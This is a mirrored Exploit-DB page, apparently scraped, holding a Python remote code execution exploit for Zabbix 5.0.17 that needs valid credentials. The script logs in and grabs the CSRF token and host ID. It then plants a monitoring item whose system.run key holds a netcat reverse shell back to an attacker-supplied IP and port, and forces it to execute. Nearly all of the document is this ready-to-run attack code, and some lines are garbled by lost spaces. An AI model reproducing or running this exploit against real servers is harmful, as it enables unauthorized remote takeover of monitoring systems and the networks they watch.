Zabbix 5.0.17 – Remote Code Execution (RCE) (Authenticated)

Exploit Database
110 阅读

作者： Hussien Misbah

日期： 2022-03-10
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/50816/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

# Exploit Title: Zabbix 5.0.17 - Remote Code Execution (RCE) (Authenticated)

# Date: 9/3/2022

# Exploit Author: Hussien Misbah

# Vendor Homepage: https://www.zabbix.com/

# Software Link: https://www.zabbix.com/rn/rn5.0.17

# Version: 5.0.17

# Tested on: Linux

# Reference: https://github.com/HussienMisbah/tools/tree/master/Zabbix_exploit

#!/usr/bin/python3

# note : this is blind RCE so don't expect to see results on the site

# this exploit is tested against Zabbix 5.0.17 only

import sys

import requests

import re

import random

import string

import colorama

from colorama import Fore

print(Fore.YELLOW+"[*] this exploit is tested against Zabbix 5.0.17 only")

print(Fore.YELLOW+"[*] can reach the author @ https://hussienmisbah.github.io/")

def item_name() :

letters = string.ascii_letters

item =''.join(random.choice(letters) for i in range(20))

return item

if len(sys.argv) != 6 :

print(Fore.RED +"[!] usage : ./expoit.py <target url><username> <password> <attacker ip> <attacker port>")

sys.exit(-1)

url= sys.argv[1]

username =sys.argv[2]

password = sys.argv[3]

host = sys.argv[4]

port = sys.argv[5]

s = requests.Session()

headers ={

"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",

}

data = {

"request":"hosts.php",

"name": username ,

"password" : password ,

"autologin" :"1" ,

"enter":"Sign+in"

}

proxies = {

'http': 'http://127.0.0.1:8080'

}

r = s.post(url+"/index.php",data=data)#proxies=proxies)

if "Sign out" not in r.text :

print(Fore.RED +"[!] Authentication failed")

sys.exit(-1)

if "Zabbix 5.0.17" not in r.text :

print(Fore.RED +"[!] This is not Zabbix 5.0.17")

sys.exit(-1)

if "filter_hostids%5B0%5D=" in r.text :

try :

x = re.search('filter_hostids%5B0%5D=(.*?)"', r.text)

hostId = x.group(1)

except :

print(Fore.RED +"[!] Exploit failed to resolve HostID")

print(Fore.BLUE +"[?] you can find it under /items then add item")

sys.exit(-1)

else :

print(Fore.RED +"[!] Exploit failed to resolve HostID")

print(Fore.BLUE +"[?] you can find HostID under /items then add item")

sys.exit(-1)

sid= re.search('<meta name="csrf-token" content="(.*)"/>',r.text).group(1) # hidden_csrf_token

command=f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {host} {port}>/tmp/f"

payload = f"system.run[{command},nowait]"

Random_name = item_name()

data2 ={

"sid":sid,"form_refresh":"1","form":"create","hostid":hostId,"selectedInterfaceId":"0","name":Random_name,"type":"0","key":payload,"url":"","query_fields[name][1]":"","query_fields[value][1]":"","timeout":"3s","post_type":"0","posts":"","headers[name][1]":"","headers[value][1]":"","status_codes":"200","follow_redirects":"1","retrieve_mode":"0","http_proxy":"","http_username":"","http_password":"","ssl_cert_file":"","ssl_key_file":"","ssl_key_password":"","interfaceid":"1","params_es":"","params_ap":"","params_f":"","value_type":"3","units":"","delay":"1m","delay_flex[0][type]":"0","delay_flex[0][delay]":"","delay_flex[0][schedule]":"","delay_flex[0][period]":"","history_mode":"1","history":"90d","trends_mode":"1","trends":"365d","valuemapid":"0","new_application":"","applications[]":"0","inventory_link":"0","description":"","status":"0","add":"Add"

}

r2 =s.post(url+"/items.php" ,data=data2,headers=headers,cookies={"tab":"0"} )

no_pages= r2.text.count("?page=")

#################################################[Searching in all pages for the uploaded item]#################################################

page = 1

flag=False

while page <= no_pages :

r_page=s.get(url+f"/items.php?page={page}" ,headers=headers )

ifRandom_name in r_page.text :

print(Fore.GREEN+"[+] the payload has been Uploaded Successfully")

x2 = re.search(rf"(\d+)[^\d]>{Random_name}",r_page.text)

try :

itemId=x2.group(1)

except :

pass

print(Fore.GREEN+f"[+] you should find it at {url}/items.php?form=update&hostid={hostId}&itemid={itemId}")

flag=True

break

else :

page +=1

if flag==False :

print(Fore.BLUE +"[?] do you know you can't upload same key twice ?")

print(Fore.BLUE +"[?] maybe it is already uploaded so set the listener and wait 1m")

print(Fore.BLUE +"[*] change the port and try again")

sys.exit(-1)

#################################################[Executing the item]#################################################

data2["form"] ="update"

data2["selectedInterfaceId"] = "1"

data2["check_now"]="Execute+now"

data2.pop("add",None)

data2["itemid"]=itemId,

print(Fore.GREEN+f"[+] set the listener at {port} please...")

r2 =s.post(url+"/items.php" ,data=data2,headers=headers,cookies={"tab":"0"}) # ,proxies=proxies )